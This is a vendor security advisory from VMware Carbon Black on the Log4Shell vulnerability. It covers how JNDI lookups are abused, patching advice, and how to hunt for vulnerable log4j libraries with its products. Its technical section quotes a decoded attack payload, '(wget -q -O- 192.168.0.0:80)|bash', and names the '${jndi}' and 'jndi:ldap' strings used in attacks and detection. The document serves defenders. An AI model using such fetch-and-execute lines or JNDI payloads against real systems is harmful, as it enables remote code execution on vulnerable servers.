Major Update Changelog
- 17 Dec 21 - 2245 EST - Added additional details to App Control hunting to aid customers in enabling the features. Removed CVE mitigation steps as they've all been shown to be insufficient due to latest discoveries.
- 14 Dec 21 - 2000 EST - Added details on CVE-2021-45046, adjusted mitigation advice, and added hunting details for App Control
- 13 Dec 21 - 1145 EST - Added clarification and links into summary for product impact concerns
- 11 Dec 21 - 1100 EST - Added section on VMware CB Product Mitigations
- 10 Dec 21 - 2100 EST - Added section on Product Hunting, including searching for library in Endpoint Standard
- 10 Dec 21 - 1530 EST - Added technical details about the vulnerability and exploits
- 10 Dec 21 - 1230 EST - Initial posting
Summary
On 9 December 2021, the VMware Threat Analysis Unit (TAU) became aware of a large-scale, high-impact vulnerability within the Java Log4j module. This vulnerability is known as Log4Shell and is being tracked as CVE-2021-44228. This is a widely used module that allows for a Java-based application to better manage internal event logging. Though the vulnerability is targeting a specific library, that library is in use by numerous popular applications and cloud services, on varying operating systems.
For VMware Carbon Black customers, please refer to the VMware Security Advisory VMSA-2021-0028 that provides detail on impacted products.
The VMware Threat Analysis Unit has continued to observe threats in the wild using this exploit, some of which we've detailed in discoveries of Post Exploitation Cryptomining Activity.
Technical Details
The vulnerability within Log4j relies upon how the library parses text strings. The vulnerability is triggered when the Java Naming and Directory Interface (JNDI) receives a log message that includes a specific formatting of “${jndi}” command. In the most common attack, the JNDI command leverages the Lightweight Directory Access Protocol (LDAP) to connect to a remote host URL, which will cause the library to make a direct connection to retrieve and evaluate the results. Depending on what data the application decides to log, this malicious string could be found in various areas, from an HTTP User-Agent against a web server, to a chat room message in Minecraft.
In the wild attacks demonstrate the use of HTTP URIs and User Agents to deliver a malicious payload. As these are values typically logged by web servers, they directly target the Log4j vulnerability. The actual payload can vary as well, with recent examples showing Base64 encoded data that, once decoded by the adversary’s web server, translates into actual Linux commands to download and execute scripts, as shown in an example below.
The User-Agent string above, once executed by Log4j, will translate to a Linux command line of: “(wget -q -O- 192.168.0.0:80)|bash”. These represent file-less attacks via an unknown script from a remote system that is directly executed under the Apache process.
Examples of vulnerable services are appearing at a regular basis since this attack was disclosed, showing multiple vectors of attack that can take place in many formats. While web servers are the most visible, and likely to be attacked, recent examples have shown that even desktop applications can be made vulnerable from local data input. As the vulnerability is implemented in many different manners, it is difficult to pinpoint a specific library doing something unusual without knowing the context of the application.
While there may be gaps in visibility due to how this exploit is run, it is important to know that the exploit is typically just the first stage of the attack. VMware Carbon Black watchlists, policies, and protections are effective at detecting more of the attack k*ll chain.
Mitigation Details
At this time, the vulnerable versions of Log4j range from version 2.0 to 2.15. While there have been prior efforts to mitigation, they've not been sufficient in resolving the overall issue. The proper solution is to implement the most currently available patched version of Log4j that resolves this vulnerability.
Additionally, as this is a widescale attack, security teams should do their due diligence and inspect any prior behavior for signs of an incident, even if it was unsuccessful. It is recommended to search through existing web server logs, or other critical logs, for strings like “jndi:ldap”. However, these strings can be obfuscated and may not show exactly as anticipated.
VMware Carbon Black Product Specifics
VMWare Carbon Black Cloud Endpoint Standard
The recommended policy for Endpoint Standard at a minimum is to block all types of malwares from executing (Known, Suspect, and PUP) as well as delay execute for cloud scan to get maximum benefit from Carbon Black’s PSC reputation service. The PSC Threat feeds will assist in detection for post-exploitation behaviors of malware taking advantage of this vulnerability.
Additionally, Carbon Black Endpoint Standard will detect vulnerable versions of the Log4j library as an Observed alert with a severity score of 3, plus or minus 1 depending on device priority. Observed alerts can be viewed in the console following the steps outlined below. This is a method of detecting unusual indicators that are not inherently malicious but would be worth additional review.
Steps to view CVE-2021-44228 Observed alerts:
- The default configuration is to only show Threat level alerts on the alerts pane in the console. Click Threat to untoggle Threat level alerts.
- To display Observed level alerts, toggle the Observed button in the Other Activity drop down.
- Lower Alert Severity to 1.
- Search for CVE-2021-44228 using search.
Please note that these observed alerts will trigger based on file access of the vulnerable Log4j core library, and therefore will not alert on an already loaded library until reboot or a process restart that forces a reload of the affected library.
To query affected devices without a reboot or restart, a Live Query can be run for licensed customers. However, it is advised that this type of query be used judiciously based on potential, but expected, performance impact. As TAU investigates and tunes high fidelity Live Queries, they will be added to this post.
VMWare Carbon Black App Control
The most effective way of blocking post-exploitation activity is by running App Control in High or Medium enforcement.
To determine if there are vulnerable systems in your environment, App Control can be used to search all indexed files across systems with the agent installed for the log4j*.jar libraries. This requires Java modules be tracked by the sensor. To ensure that Java JAR and Class files are tracked please refer to this Knowledge Base article.
Hunting for vulnerable libraries can be done from the App Control server by navigating to Assets -> Files -> Files on Computers. Specify a query for File Name Begins and specify log4j, as shown in the screenshot below. The log4j file names specify the specific version of the library, such as log4j-2.7.jar. These file names, as well as the stored hash values, can be used to determine if a system application is vulnerable to attack.
VMWare Carbon Black EDR and Cloud Enterprise EDR
Many existing queries located in the CB Advanced Threat, CB Endpoint Visibility, CB Suspicious Indicators, MITRE ATT&CK, and SANS Threat feeds will also alert on characteristics associated with any potential post-exploitation activity.
VMware Carbon Black Product Details
While the Carbon Black suite of endpoint products do not directly use the Log4j library and have its vulnerabilities, there are portions of the backend that may require attention. These topics will not be addressed in this document, but details can be found in the VMware Security Advisory VMSA-2021-0028.
